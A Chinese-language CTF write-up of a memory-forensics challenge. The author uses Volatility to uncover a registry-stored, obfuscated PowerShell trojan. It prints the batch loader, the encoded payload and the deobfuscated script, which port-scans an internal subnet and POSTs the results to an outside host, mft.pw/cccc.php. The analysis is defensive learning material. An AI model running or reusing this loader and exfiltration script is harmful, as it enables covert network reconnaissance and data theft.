blueteaming
解法一
把注册表dump下来
python2 vol.py -f memory.dmp --profile=Win7SP1x64 dumpregistry -D ctf/
dump下来后拖到windows,用registerExplorer来找。发现拖进来后只有15个注册表,少的是SOFTWARE这个表里的,而且无法拖进registerexplorer。
python2 vol.py -f memory.dmp --profile=Win7SP1x64 dumpregistry -D ctf/
后来在网上找到申请修改注册表的命令
reg query
打开010Editor并寻找相应的字符串即可
往前翻一下也可以知道这是WindowsPolicyUpdate.cmd文件。导出文件后可以看到内容(在cmd进程内存中可以找到)。
@echo off;
for /f "tokens=*" %%a in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication" /v code ^| find /i "REG_SZ"') do (
set var="%%~a";
powershell -noprofile "%var:~19,1500%;
)
for /f "tokens=*" %%a in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication" /v code ^| find /i "REG_SZ"') do (
set var="%%~a";
powershell -noprofile "%var:~19,1500%;
)
可能也是因为恶意修改注册表的原因,解释了为什么其他15个注册表都可以打开,而这个注册表无法打开。
解法二
把cmd进程dump下来
python2 vol.py -f memory.dmp --profile=Win7SP1x64 memdump -p 7092 -D ctf/
通过strings命令
strings 7092.dmp | grep powershell
strings 7092.dmp | grep HKEY
即可找到对应的恶意代码
python2 vol.py -f memory.dmp --profile=Win7SP1x64 printkey -K "Microsoft\Windows\Communication"
flag:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication
tips
根据恶意代码可以得到执行命令的语句为:
powershell -noprofile $veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd()
因为加密方式有限,可以猜测出为base64+deflate加密,我们通过cyberchef解密。
(加密方式根据以下链接得出。
https://zhuanlan.zhihu.com/p/137407536
https://netsec.expert/posts/write-a-crypter-in-any-language/)
这其实是一个powershell的免杀马。
得到如下
s`eT-V`A`Riab`lE Diq ( [typE]('sY'+'S'+'tEM.'+'tExT'+'.'+'EnCOdiNg') );Set-`VARI`A`B`le ('Car'+'u1') ( [TyPe]('ConveR'+'t') ) ;${i`N`V`OkEcO`MmaND} = ((('cm'+'d'+'.exe')+' /'+'c '+'C'+':'+('HaSP'+'r')+('o'+'gr')+'a'+('m'+'Dat')+'aH'+('aSnt'+'user')+'.p'+('ol'+' TC'+'P ')+('172.30'+'.1.0'+'/24 33'+'8')+('9 5'+'12 /'+'B'+'a')+('nne'+'r'))."REPL`A`cE"(([chaR]72+[chaR]97+[chaR]83),[STRInG][chaR]92));${CMdout`p`Ut} = $(i`NVoK`e-eXPRE`ss`I`on ${I`NvOk`E`cOMMaND});${B`yT`es} = ( v`ARiA`BLE dIQ -VALu )::"U`NI`coDe"."g`etBYTES"(${cm`DOu`TPUt});${eN`Co`dEd} = ( I`TEM ('VarI'+'a'+'B'+'LE'+':Caru1') ).valuE::"ToB`AS`E`64striNG"(${b`Yt`es});${poSTP`A`R`AmS} = @{"D`ATa"=${e`N`cOded}};i`N`VOkE-WEb`REQuESt -Uri ('mft.pw'+'/ccc'+'c.ph'+'p') -Method ('POS'+'T') -Body ${p`o`sTpaRaMs};
很明显是混淆过后的代码,反混淆后得到:
${invokecommand}=cmd.exe /c c:\\programdata\\ntuser.pol tcp 172.30.1.0/24 3389 512 /bannersetvarible diq([type](system.text.encoding));setvariable(caru1)([type](convert));${cmdoutput} = $(invoke-expression ${invokecommand});${bytes}=(variable diq-valu)::unicode.getbytes(${cmdoutput})${encoded} = ( item ('variable:caru1') ).value::tobase64string"(${bytes});${postparams} = @{"data"=${encoded}};invoke-webrequest -uri ('*****/cccc.php') -method ('post') -body ${postparams};
可以得到该操作系统为windows Server 2008。
invokecommand
首先对该命令下手
cmd.exe /c c:\\programdata\\ntuser.pol tcp 172.30.1.0/24 3389 512 /banner
意味着端口的扫描,攻击者对172.30.1.0的网络进行端口的扫描,
而port 512,port 3389开启的时候,然后攻击者就会使用它们对内部网络进行攻击并扩散攻击范围。
而这条命令是根据这个项目https://github.com/kingron/s
查wiki就可以找到相应的端口服务。https://zh.wikipedia.org/wiki/TCP/UDP%E7%AB%AF%E5%8F%A3%E5%88%97%E8%A1%A8
进行内网用户3389端口的扫描,用于远程桌面,十分危险。
invoke-webrequest
invoke-webrequest则是powershell中的curl模块,访问mft.pw/cccc.php并把执行命令的结果通过post传过去。
那么接下来我们开始对url下手。
访问*/ccc.php发现是404.我不信,然后使用post进行抓包传参。得到如下
果然是有东西的。直接访问是失败的。
又出现了一个cloudflare的url,出现在header:report-to中。
https://a.nel.cloudflare.com/report/v2?s=YHULLPtKkHTg%2Fvi6UzwAnOERGXNqZpAVlj468dn9VZFdHvcZzsBJZzAopoVpaxqef7T52bj7H38YNbatDvWJFi3Fa6YanTlVB50w6UYfgyIwRYLi
好吧,真的什么都没有了。这些是正常的headers。
我们回到iexploer.exe进程,通过对关键词mft.pw
的搜索,我很容易找到了对应的http请求。说明这里给的镜像不是简单的进行了注册表的修改,而是确实执行了该免杀马的。
再看一下这个代码的执行流程,我们可以通过pstree清晰的看到。explorer.exe执行后,连锁执行了iexplorer.exe以及cmd.exe。
而最后的winpmem_v3.3.r不用管它,是用来dump内存的。
在cmd的16进制中可以看到WindowsPolicyUpdate.cmd文件中有命令执行的代码。
当我问及如何持久化运行这个免杀马时,出题人给了我一些思路。
Find the created time when ntuser.pol was created in the MFT block of the memory dump.Most of the dropper-type malware doesn't create just one file.
我们通过volatility来提取mft(Managed file transfer),以求寻找同时生成的异样文件。
python2 vol.py -f memory.dmp --profile=Win7SP1x64 mftparser > output.txt
2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 ProgramData\WindowsPolicyUpdate.cmd
ntuser.pol
2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 ProgramData\ntuser.pol
然后对于其他的文件及其路径并没有察觉到有什么不对,下面的两个CMD文件应该是同一个文件。
strings output.txt | grep "2020-11-26 12:55:37"
我把mft输出和内存文件一起保存,希望有感兴趣的师傅能指点一下。
链接:https://pan.baidu.com/s/1T9QH-HYOQSFokCEZXVlm_g
提取码:anq6
当我通过邮件请教师傅时,一句非常普通的话,让我感受到了在今年国赛里awd中一样真实的攻防。感谢大师傅。
real attackers often delete the means of an end after they have accomplished it. To express this, i actually deleted the page. so 404 is correct.
https://zhuanlan.zhihu.com/p/137407536
https://blog.csdn.net/qq_42880719/article/details/117968361
https://mp.weixin.qq.com/s/ItaIgLxcXCjvAhyyP3On9Q
https://netsec.expert/posts/write-a-crypter-in-any-language/